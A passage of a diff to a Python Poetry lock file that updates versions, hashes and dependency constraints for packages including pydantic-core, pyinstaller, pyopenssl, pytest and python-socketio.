"pydantic_core-2.41.5-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:3f37a19d7ebcdd20b96485056ba9e8b304e27d9904d233d7b1015db320e51f0a"}, + {file = "pydantic_core-2.41.5-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1d1d9764366c73f996edd17abb6d9d7649a7eb690006ab6adbda117717099b14"}, + {file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:25e1c2af0fce638d5f1988b686f3b3ea8cd7de5f244ca147c777769e798a9cd1"}, + {file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:506d766a8727beef16b7adaeb8ee6217c64fc813646b424d0804d67c16eddb66"}, + {file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4819fa52133c9aa3c387b3328f25c1facc356491e6135b459f1de698ff64d869"}, + {file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2b761d210c9ea91feda40d25b4efe82a1707da2ef62901466a42492c028553a2"}, + {file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:22f0fb8c1c583a3b6f24df2470833b40207e907b90c928cc8d3594b76f874375"}, + {file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2782c870e99878c634505236d81e5443092fba820f0373997ff75f90f68cd553"}, + {file = "pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:0177272f88ab8312479336e1d777f6b124537d47f2123f89cb37e0accea97f90"}, + {file = "pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:63510af5e38f8955b8ee5687740d6ebf7c2a0886d15a6d65c32814613681bc07"}, + {file = "pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:e56ba91f47764cc14f1daacd723e3e82d1a89d783f0f5afe9c364b8bb491ccdb"}, + {file = "pydantic_core-2.41.5-cp314-cp314-win32.whl", hash = "sha256:aec5cf2fd867b4ff45b9959f8b20ea3993fc93e63c7363fe6851424c8a7e7c23"}, + {file = "pydantic_core-2.41.5-cp314-cp314-win_amd64.whl", hash = "sha256:8e7c86f27c585ef37c35e56a96363ab8de4e549a95512445b85c96d3e2f7c1bf"}, + {file = "pydantic_core-2.41.5-cp314-cp314-win_arm64.whl", hash = "sha256:e672ba74fbc2dc8eea59fb6d4aed6845e6905fc2a8afe93175d94a83ba2a01a0"}, + {file = "pydantic_core-2.41.5-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:8566def80554c3faa0e65ac30ab0932b9e3a5cd7f8323764303d468e5c37595a"}, + {file = "pydantic_core-2.41.5-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:b80aa5095cd3109962a298ce14110ae16b8c1aece8b72f9dafe81cf597ad80b3"}, + {file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3006c3dd9ba34b0c094c544c6006cc79e87d8612999f1a5d43b769b89181f23c"}, + {file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:72f6c8b11857a856bcfa48c86f5368439f74453563f951e473514579d44aa612"}, + {file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5cb1b2f9742240e4bb26b652a5aeb840aa4b417c7748b6f8387927bc6e45e40d"}, + {file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bd3d54f38609ff308209bd43acea66061494157703364ae40c951f83ba99a1a9"}, + {file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2ff4321e56e879ee8d2a879501c8e469414d948f4aba74a2d4593184eb326660"}, + {file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d0d2568a8c11bf8225044aa94409e21da0cb09dcdafe9ecd10250b2baad531a9"}, + {file = "pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:a39455728aabd58ceabb03c90e12f71fd30fa69615760a075b9fec596456ccc3"}, + {file = "pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:239edca560d05757817c13dc17c50766136d21f7cd0fac50295499ae24f90fdf"}, + {file = "pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:2a5e06546e19f24c6a96a129142a75cee553cc018ffee48a460059b1185f4470"}, + {file = "pydantic_core-2.41.5-cp314-cp314t-win32.whl", hash = "sha256:b4ececa40ac28afa90871c2cc2b9ffd2ff0bf749380fbdf57d165fd23da353aa"}, + {file = "pydantic_core-2.41.5-cp314-cp314t-win_amd64.whl", hash = "sha256:80aa89cad80b32a912a65332f64a4450ed00966111b6615ca6816153d3585a8c"}, + {file = "pydantic_core-2.41.5-cp314-cp314t-win_arm64.whl", hash = "sha256:35b44f37a3199f771c3eaa53051bc8a70cd7b54f333531c59e29fd4db5d15008"}, + {file = "pydantic_core-2.41.5-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:8bfeaf8735be79f225f3fefab7f941c712aaca36f1128c9d7e2352ee1aa87bdf"}, + {file = "pydantic_core-2.41.5-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:346285d28e4c8017da95144c7f3acd42740d637ff41946af5ce6e5e420502dd5"}, + {file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a75dafbf87d6276ddc5b2bf6fae5254e3d0876b626eb24969a574fff9149ee5d"}, + {file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:7b93a4d08587e2b7e7882de461e82b6ed76d9026ce91ca7915e740ecc7855f60"}, + {file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e8465ab91a4bd96d36dde3263f06caa6a8a6019e4113f24dc753d79a8b3a3f82"}, + {file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:299e0a22e7ae2b85c1a57f104538b2656e8ab1873511fd718a1c1c6f149b77b5"}, + {file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:707625ef0983fcfb461acfaf14de2067c5942c6bb0f3b4c99158bed6fedd3cf3"}, + {file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f41eb9797986d6ebac5e8edff36d5cef9de40def462311b3eb3eeded1431e425"}, + {file = "pydantic_core-2.41.5-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:0384e2e1021894b1ff5a786dbf94771e2986ebe2869533874d7e43bc79c6f504"}, + {file = "pydantic_core-2.41.5-cp39-cp39-musllinux_1_1_armv7l.whl", hash = "sha256:f0cd744688278965817fd0839c4a4116add48d23890d468bc436f78beb28abf5"}, + {file = "pydantic_core-2.41.5-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:753e230374206729bf0a807954bcc6c150d3743928a73faffee51ac6557a03c3"}, + {file = "pydantic_core-2.41.5-cp39-cp39-win32.whl", hash = "sha256:873e0d5b4fb9b89ef7c2d2a963ea7d02879d9da0da8d9d4933dee8ee86a8b460"}, + {file = "pydantic_core-2.41.5-cp39-cp39-win_amd64.whl", hash = "sha256:e4f4a984405e91527a0d62649ee21138f8e3d0ef103be488c1dc11a80d7f184b"}, + {file = "pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:b96d5f26b05d03cc60f11a7761a5ded1741da411e7fe0909e27a5e6a0cb7b034"}, + {file = "pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:634e8609e89ceecea15e2d61bc9ac3718caaaa71963717bf3c8f38bfde64242c"}, + {file = "pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:93e8740d7503eb008aa2df04d3b9735f845d43ae845e6dcd2be0b55a2da43cd2"}, + {file = "pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f15489ba13d61f670dcc96772e733aad1a6f9c429cc27574c6cdaed82d0146ad"}, + {file = "pydantic_core-2.41.5-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:7da7087d756b19037bc2c06edc6c170eeef3c3bafcb8f532ff17d64dc427adfd"}, + {file = "pydantic_core-2.41.5-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:aabf5777b5c8ca26f7824cb4a120a740c9588ed58df9b2d196ce92fba42ff8dc"}, + {file = "pydantic_core-2.41.5-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c007fe8a43d43b3969e8469004e9845944f1a80e6acd47c150856bb87f230c56"}, + {file = "pydantic_core-2.41.5-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76d0819de158cd855d1cbb8fcafdf6f5cf1eb8e470abe056d5d161106e38062b"}, + {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b5819cd790dbf0c5eb9f82c73c16b39a65dd6dd4d1439dcdea7816ec9adddab8"}, + {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:5a4e67afbc95fa5c34cf27d9089bca7fcab4e51e57278d710320a70b956d1b9a"}, + {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ece5c59f0ce7d001e017643d8d24da587ea1f74f6993467d85ae8a5ef9d4f42b"}, + {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:16f80f7abe3351f8ea6858914ddc8c77e02578544a0ebc15b4c2e1a0e813b0b2"}, + {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:33cb885e759a705b426baada1fe68cbb0a2e68e34c5d0d0289a364cf01709093"}, + {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:c8d8b4eb992936023be7dee581270af5c6e0697a8559895f527f5b7105ecd36a"}, + {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:242a206cd0318f95cd21bdacff3fcc3aab23e79bba5cac3db5a841c9ef9c6963"}, + {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:d3a978c4f57a597908b7e697229d996d77a6d3c94901e9edee593adada95ce1a"}, + {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b2379fa7ed44ddecb5bfe4e48577d752db9fc10be00a6b7446e9663ba143de26"}, + {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:266fb4cbf5e3cbd0b53669a6d1b039c45e3ce651fd5442eff4d07c2cc8d66808"}, + {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58133647260ea01e4d0500089a8c4f07bd7aa6ce109682b1426394988d8aaacc"}, + {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:287dad91cfb551c363dc62899a80e9e14da1f0e2b6ebde82c806612ca2a13ef1"}, + {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:03b77d184b9eb40240ae9fd676ca364ce1085f203e1b1256f8ab9984dca80a84"}, + {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:a668ce24de96165bb239160b3d854943128f4334822900534f2fe947930e5770"}, + {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:f14f8f046c14563f8eb3f45f499cc658ab8d10072961e07225e507adb700e93f"}, + {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:56121965f7a4dc965bff783d70b907ddf3d57f6eba29b6d2e5dabfaf07799c51"}, + {file = "pydantic_core-2.41.5.tar.gz", hash = "sha256:08daa51ea16ad373ffd5e7606252cc32f07bc72b28284b6bc9c6df804816476e"}, ] [package.dependencies] -typing-extensions = ">=4.6.0,<4.7.0 || >4.7.0" +typing-extensions = ">=4.14.1" [[package]] name = "pydantic-settings" -version = "2.10.1" +version = "2.13.1" description = "Settings management using Pydantic" optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["main"] files = [ - {file = "pydantic_settings-2.10.1-py3-none-any.whl", hash = "sha256:a60952460b99cf661dc25c29c0ef171721f98bfcb52ef8d9ea4c943d7c8cc796"}, - {file = "pydantic_settings-2.10.1.tar.gz", hash = "sha256:06f0062169818d0f5524420a360d632d5857b83cffd4d42fe29597807a1614ee"}, + {file = "pydantic_settings-2.13.1-py3-none-any.whl", hash = "sha256:d56fd801823dbeae7f0975e1f8c8e25c258eb75d278ea7abb5d9cebb01b56237"}, + {file = "pydantic_settings-2.13.1.tar.gz", hash = "sha256:b4c11847b15237fb0171e1462bf540e294affb9b86db4d9aa5c01730bdbe4025"}, ] [package.dependencies] @@ -1289,32 +1429,32 @@ windows-terminal = ["colorama (>=0.4.6)"] [[package]] name = "pyinstaller" -version = "6.15.0" +version = "6.19.0" description = "PyInstaller bundles a Python application and all its dependencies into a single package." optional = false python-versions = "<3.15,>=3.8" groups = ["main"] files = [ - {file = "pyinstaller-6.15.0-py3-none-macosx_10_13_universal2.whl", hash = "sha256:9f00c71c40148cd1e61695b2c6f1e086693d3bcf9bfa22ab513aa4254c3b966f"}, - {file = "pyinstaller-6.15.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:cbcc8eb77320c60722030ac875883b564e00768fe3ff1721c7ba3ad0e0a277e9"}, - {file = "pyinstaller-6.15.0-py3-none-manylinux2014_i686.whl", hash = "sha256:c33e6302bc53db2df1104ed5566bd980b3e0ee7f18416a6e3caa908c12a54542"}, - {file = "pyinstaller-6.15.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:eb902d0fed3bb1f8b7190dc4df5c11f3b59505767e0d56d1ed782b853938bbf3"}, - {file = "pyinstaller-6.15.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:b4df862adae7cf1f08eff53c43ace283822447f7f528f72e4f94749062712f15"}, - {file = "pyinstaller-6.15.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:b9ebf16ed0f99016ae8ae5746dee4cb244848a12941539e62ce2eea1df5a3f95"}, - {file = "pyinstaller-6.15.0-py3-none-musllinux_1_1_aarch64.whl", hash = "sha256:22193489e6a22435417103f61e7950363bba600ef36ec3ab1487303668c81092"}, - {file = "pyinstaller-6.15.0-py3-none-musllinux_1_1_x86_64.whl", hash = "sha256:18f743069849dbaee3e10900385f35795a5743eabab55e99dcc42f204e40a0db"}, - {file = "pyinstaller-6.15.0-py3-none-win32.whl", hash = "sha256:60da8f1b5071766b45c0f607d8bc3d7e59ba2c3b262d08f2e4066ba65f3544a2"}, - {file = "pyinstaller-6.15.0-py3-none-win_amd64.whl", hash = "sha256:cbea297e16eeda30b41c300d6ec2fd2abea4dbd8d8a32650eeec36431c94fcd9"}, - {file = "pyinstaller-6.15.0-py3-none-win_arm64.whl", hash = "sha256:f43c035621742cf2d19b84308c60e4e44e72c94786d176b8f6adcde351b5bd98"}, - {file = "pyinstaller-6.15.0.tar.gz", hash = "sha256:a48fc4644ee4aa2aa2a35e7b51f496f8fbd7eecf6a2150646bbf1613ad07bc2d"}, + {file = "pyinstaller-6.19.0-py3-none-macosx_10_13_universal2.whl", hash = "sha256:4190e76b74f0c4b5c5f11ac360928cd2e36ec8e3194d437bf6b8648c7bc0c134"}, + {file = "pyinstaller-6.19.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:8bd68abd812d8a6ba33b9f1810e91fee0f325969733721b78151f0065319ca11"}, + {file = "pyinstaller-6.19.0-py3-none-manylinux2014_i686.whl", hash = "sha256:1ec54ef967996ca61dacba676227e2b23219878ccce5ee9d6f3aada7b8ed8abf"}, + {file = "pyinstaller-6.19.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:4ab2bb52e58448e14ddf9450601bdedd66800465043501c1d8f1cab87b60b122"}, + {file = "pyinstaller-6.19.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:da6d5c6391ccefe73554b9fa29b86001c8e378e0f20c2a4004f836ba537eff63"}, + {file = "pyinstaller-6.19.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:a0fc5f6b3c55aa54353f0c74ffa59b1115433c1850c6f655d62b461a2ed6cbbe"}, + {file = "pyinstaller-6.19.0-py3-none-musllinux_1_1_aarch64.whl", hash = "sha256:e649ba6bd1b0b89b210ad92adb5fbdc8a42dd2c5ca4f72ef3a0bfec83a424b83"}, + {file = "pyinstaller-6.19.0-py3-none-musllinux_1_1_x86_64.whl", hash = "sha256:481a909c8e60c8692fc60fcb1344d984b44b943f8bc9682f2fcdae305ad297e6"}, + {file = "pyinstaller-6.19.0-py3-none-win32.whl", hash = "sha256:3c5c251054fe4cfaa04c34a363dcfbf811545438cb7198304cd444756bc2edd2"}, + {file = "pyinstaller-6.19.0-py3-none-win_amd64.whl", hash = "sha256:b5bb6536c6560330d364d91522250f254b107cf69129d9cbcd0e6727c570be33"}, + {file = "pyinstaller-6.19.0-py3-none-win_arm64.whl", hash = "sha256:c2d5a539b0bfe6159d5522c8c70e1c0e487f22c2badae0f97d45246223b798ea"}, + {file = "pyinstaller-6.19.0.tar.gz", hash = "sha256:ec73aeb8bd9b7f2f1240d328a4542e90b3c6e6fbc106014778431c616592a865"}, ] [package.dependencies] altgraph = "*" macholib = {version = ">=1.8", markers = "sys_platform == \"darwin\""} packaging = ">=22.0" -pefile = {version = ">=2022.5.30,<2024.8.26 || >2024.8.26", markers = "sys_platform == \"win32\""} -pyinstaller-hooks-contrib = ">=2025.8" +pefile = {version = ">=2022.5.30", markers = "sys_platform == \"win32\""} +pyinstaller-hooks-contrib = ">=2026.0" pywin32-ctypes = {version = ">=0.2.1", markers = "sys_platform == \"win32\""} setuptools = ">=42.0.0" @@ -1324,14 +1464,14 @@ hook-testing = ["execnet (>=1.5.0)", "psutil", "pytest (>=2.7.3)"] [[package]] name = "pyinstaller-hooks-contrib" -version = "2025.8" +version = "2026.1" description = "Community maintained hooks for PyInstaller" optional = false python-versions = ">=3.8" groups = ["main"] files = [ - {file = "pyinstaller_hooks_contrib-2025.8-py3-none-any.whl", hash = "sha256:8d0b8cfa0cb689a619294ae200497374234bd4e3994b3ace2a4442274c899064"}, - {file = "pyinstaller_hooks_contrib-2025.8.tar.gz", hash = "sha256:3402ad41dfe9b5110af134422e37fc5d421ba342c6cb980bd67cb30b7415641c"}, + {file = "pyinstaller_hooks_contrib-2026.1-py3-none-any.whl", hash = "sha256:66ad4888ba67de6f3cfd7ef554f9dd1a4389e2eb19f84d7129a5a6818e3f2180"}, + {file = "pyinstaller_hooks_contrib-2026.1.tar.gz", hash = "sha256:a5f0891a1e81e92406ab917d9e76adfd7a2b68415ee2e35c950a7b3910bc361b"}, ] [package.dependencies] @@ -1356,18 +1496,18 @@ rsa = ["cryptography"] [[package]] name = "pyopenssl" -version = "25.1.0" +version = "25.3.0" description = "Python wrapper module around the OpenSSL library" optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "pyopenssl-25.1.0-py3-none-any.whl", hash = "sha256:2b11f239acc47ac2e5aca04fd7fa829800aeee22a2eb30d744572a157bd8a1ab"}, - {file = "pyopenssl-25.1.0.tar.gz", hash = "sha256:8d031884482e0c67ee92bf9a4d8cceb08d92aba7136432ffb0703c5280fc205b"}, + {file = "pyopenssl-25.3.0-py3-none-any.whl", hash = "sha256:1fda6fc034d5e3d179d39e59c1895c9faeaf40a79de5fc4cbbfbe0d36f4a77b6"}, + {file = "pyopenssl-25.3.0.tar.gz", hash = "sha256:c981cb0a3fd84e8602d7afc209522773b94c1c2446a3c710a75b06fe1beae329"}, ] [package.dependencies] -cryptography = ">=41.0.5,<46" +cryptography = ">=45.0.7,<47" [package.extras] docs = ["sphinx (!=5.2.0,!=5.2.0.post0,!=7.2.5)", "sphinx_rtd_theme"] @@ -1375,14 +1515,14 @@ test = ["pretend", "pytest (>=3.0.1)", "pytest-rerunfailures"] [[package]] name = "pyparsing" -version = "3.2.3" -description = "pyparsing module - Classes and methods to define and execute parsing grammars" +version = "3.3.2" +description = "pyparsing - Classes and methods to define and execute parsing grammars" optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "pyparsing-3.2.3-py3-none-any.whl", hash = "sha256:a749938e02d6fd0b59b356ca504a24982314bb090c383e3cf201c95ef7e2bfcf"}, - {file = "pyparsing-3.2.3.tar.gz", hash = "sha256:b9c13f1ab8b3b542f72e28f634bad4de758ab3ce4546e4301970ad6fa77c38be"}, + {file = "pyparsing-3.3.2-py3-none-any.whl", hash = "sha256:850ba148bd908d7e2411587e247a1e4f0327839c40e2e5e6d05a007ecc69911d"}, + {file = "pyparsing-3.3.2.tar.gz", hash = "sha256:c777f4d763f140633dcb6d8a3eda953bf7a214dc4eff598413c070bcdc117cbc"}, ] [package.extras] @@ -1409,20 +1549,20 @@ resolved_reference = "da5be0e48f82097044894247343cef2111f13c7a" [[package]] name = "pytest" -version = "8.4.2" +version = "9.0.2" description = "pytest: simple powerful testing with Python" optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["dev"] files = [ - {file = "pytest-8.4.2-py3-none-any.whl", hash = "sha256:872f880de3fc3a5bdc88a11b39c9710c3497a547cfa9320bc3c5e62fbf272e79"}, - {file = "pytest-8.4.2.tar.gz", hash = "sha256:86c0d0b93306b961d58d62a4db4879f27fe25513d4b969df351abdddb3c30e01"}, + {file = "pytest-9.0.2-py3-none-any.whl", hash = "sha256:711ffd45bf766d5264d487b917733b453d917afd2b0ad65223959f59089f875b"}, + {file = "pytest-9.0.2.tar.gz", hash = "sha256:75186651a92bd89611d1d9fc20f0b4345fd827c41ccd5c299a868a05d70edf11"}, ] [package.dependencies] colorama = {version = ">=0.4", markers = "sys_platform == \"win32\""} -iniconfig = ">=1" -packaging = ">=20" +iniconfig = ">=1.0.1" +packaging = ">=22" pluggy = ">=1.5,<2" pygments = ">=2.7.2" @@ -1431,41 +1571,42 @@ dev = ["argcomplete", "attrs (>=19.2)", "hypothesis (>=3.56)", "mock", "requests [[package]] name = "pytest-cov" -version = "6.3.0" +version = "7.0.0" description = "Pytest plugin for measuring coverage." optional = false python-versions = ">=3.9" groups = ["dev"] files = [ - {file = "pytest_cov-6.3.0-py3-none-any.whl", hash = "sha256:440db28156d2468cafc0415b4f8e50856a0d11faefa38f30906048fe490f1749"}, - {file = "pytest_cov-6.3.0.tar.gz", hash = "sha256:35c580e7800f87ce892e687461166e1ac2bcb8fb9e13aea79032518d6e503ff2"}, + {file = "pytest_cov-7.0.0-py3-none-any.whl", hash = "sha256:3b8e9558b16cc1479da72058bdecf8073661c7f57f7d3c5f22a1c23507f2d861"}, + {file = "pytest_cov-7.0.0.tar.gz", hash = "sha256:33c97eda2e049a0c5298e91f519302a1334c26ac65c1a483d6206fd458361af1"}, ] [package.dependencies] -coverage = {version = ">=7.5", extras = ["toml"]} +coverage = {version = ">=7.10.6", extras = ["toml"]} pluggy = ">=1.2" -pytest = ">=6.2.5" +pytest = ">=7" [package.extras] -testing = ["fields", "hunter", "process-tests", "pytest-xdist", "virtualenv"] +testing = ["process-tests", "pytest-xdist", "virtualenv"] [[package]] name = "pytest-env" -version = "1.1.5" +version = "1.5.0" description = "pytest plugin that allows you to add environment variables." optional = false -python-versions = ">=3.8" +python-versions = ">=3.10" groups = ["dev"] files = [ - {file = "pytest_env-1.1.5-py3-none-any.whl", hash = "sha256:ce90cf8772878515c24b31cd97c7fa1f4481cd68d588419fd45f10ecaee6bc30"}, - {file = "pytest_env-1.1.5.tar.gz", hash = "sha256:91209840aa0e43385073ac464a554ad2947cc2fd663a9debf88d03b01e0cc1cf"}, + {file = "pytest_env-1.5.0-py3-none-any.whl", hash = "sha256:89a15686ac837c9cd009a8a2d52bd55865e2f23c82094247915dae4540c87161"}, + {file = "pytest_env-1.5.0.tar.gz", hash = "sha256:db8994b9ce170f135a37acc09ac753a6fc697d15e691b576ed8d8ca261c40246"}, ] [package.dependencies] -pytest = ">=8.3.3" +pytest = ">=9.0.2" +python-dotenv = ">=1.2.1" [package.extras] -testing = ["covdefaults (>=2.3)", "coverage (>=7.6.1)", "pytest-mock (>=3.14)"] +testing = ["covdefaults (>=2.3)", "coverage (>=7.13.4)", "pytest-mock (>=3.15.1)"] [[package]] name = "pytest-timeout" @@ -1484,14 +1625,14 @@ pytest = ">=7.0.0" [[package]] name = "python-dotenv" -version = "1.1.1" +version = "1.2.1" description = "Read key-value pairs from a .env file and set them as environment variables" optional = false python-versions = ">=3.9" -groups = ["main"] +groups = ["main", "dev"] files = [ - {file = "python_dotenv-1.1.1-py3-none-any.whl", hash = "sha256:31f23644fe2602f88ff55e1f5c79ba497e01224ee7737937930c448e4d0e24dc"}, - {file = "python_dotenv-1.1.1.tar.gz", hash = "sha256:a8a6399716257f45be6a007360200409fce5cda2661e3dec71d23dc15f6189ab"}, + {file = "python_dotenv-1.2.1-py3-none-any.whl", hash = "sha256:b81ee9561e9ca4004139c6cbba3a238c32b03e4894671e181b671e8cb8425d61"}, + {file = "python_dotenv-1.2.1.tar.gz", hash = "sha256:42667e897e16ab0d66954af0e60a9caa94f0fd4ecf3aaf6d2d260eec1aa36ad6"}, ] [package.extras] @@ -1499,23 +1640,24 @@ cli = ["click (>=5.0)"] [[package]] name = "python-engineio" -version = "4.12.2" +version = "4.13.1" description = "Engine.IO server and client for Python" optional = false -python-versions = ">=3.6" +python-versions = ">=3.8" groups = ["main"] files = [ - {file = "python_engineio-4.12.2-py3-none-any.whl", hash = "sha256:8218ab66950e179dfec4b4bbb30aecf3f5d86f5e58e6fc1aa7fde2c698b2804f"}, - {file = "python_engineio-4.12.2.tar.gz", hash = "sha256:e7e712ffe1be1f6a05ee5f951e72d434854a32fcfc7f6e4d9d3cae24ec70defa"}, + {file = "python_engineio-4.13.1-py3-none-any.whl", hash = "sha256:f32ad10589859c11053ad7d9bb3c9695cdf862113bfb0d20bc4d890198287399"}, + {file = "python_engineio-4.13.1.tar.gz", hash = "sha256:0a853fcef52f5b345425d8c2b921ac85023a04dfcf75d7b74696c61e940fd066"}, ] [package.dependencies] simple-websocket = ">=0.10.0" [package.extras] -asyncio-client = ["aiohttp (>=3.4)"] +asyncio-client = ["aiohttp (>=3.11)"] client = ["requests (>=2.21.0)", "websocket-client (>=0.54.0)"] -docs = ["sphinx"] +dev = ["tox"] +docs = ["furo", "sphinx"] [[package]] name = "python-jose" @@ -1543,14 +1685,14 @@ test = ["pytest", "pytest-cov"] [[package]] name = "python-multipart" -version = "0.0.20" +version = "0.0.22" description = "A streaming multipart parser for Python" optional = false -python-versions = ">=3.8" +python-versions = ">=3.10" groups = ["main"] files = [ - {file = "python_multipart-0.0.20-py3-none-any.whl", hash = "sha256:8a62d3a8335e06589fe01f2a3e178cdcc632f3fbe0d492ad9ee0ec35aab1f104"}, - {file = "python_multipart-0.0.20.tar.gz", hash = "sha256:8dd0cab45b8e23064ae09147625994d090fa46f5b0d1e13af944c331a7fa9d13"}, + {file = "python_multipart-0.0.22-py3-none-any.whl", hash = "sha256:2b2cd894c83d21bf49d702499531c7bafd057d730c201782048f7945d82de155"}, + {file = "python_multipart-0.0.22.tar.gz", hash = "sha256:7340bef99a7e0032613f56dc36027b959fd3b30a787ed62d310e951f7c3a3a58"}, ] [[package]] @@ -1569,14 +1711,14 @@ regex = "*" [[package]] name = "python-socketio" -version = "5.13.0" +version = "5.16.1" description = "Socket.IO server and client for Python" optional = false python-versions = ">=3.8" groups = ["main"] files = [ - {file = "python_socketio-5.13.0-py3-none-any.whl", hash = "sha256:51f68d6499f2df8524668c24bcec13ba1414117cfb3a90115c559b601ab10caf"}, - {file = "python_socketio-5.13.0.tar.gz", hash = "sha256:ac4e19a0302ae812e23b712ec8b6427ca0521f7c582d6abb096e36e24a263029"}, + {file = "python_socketio-5.16.1-py3-none-any.whl", hash = "sha256:a3eb1702e92aa2f2b5d3ba00261b61f062cce51f1cfb6900bf3ab4d1934d2d35"}, + {file = "python_socketio-5.16.1.tar.gz", hash = "sha256:f863f98eacce81ceea2e742f6388e10ca3cdd0764be21d30d5196470edf5ea89"}, ] [package.dependencies] @@ -1586,7 +1728,8 @@ python-engineio = ">=4.11.0" [package.extras] asyncio-client = ["aiohttp (>=3.4)"] client = ["requests (>=2.21.0)", "websocket-client (>=0.54.0)"] -docs = ["sphinx"] +dev = ["tox"] +docs = ["furo", "sphinx"] [[package]] name = "pywin32-ctypes" @@ 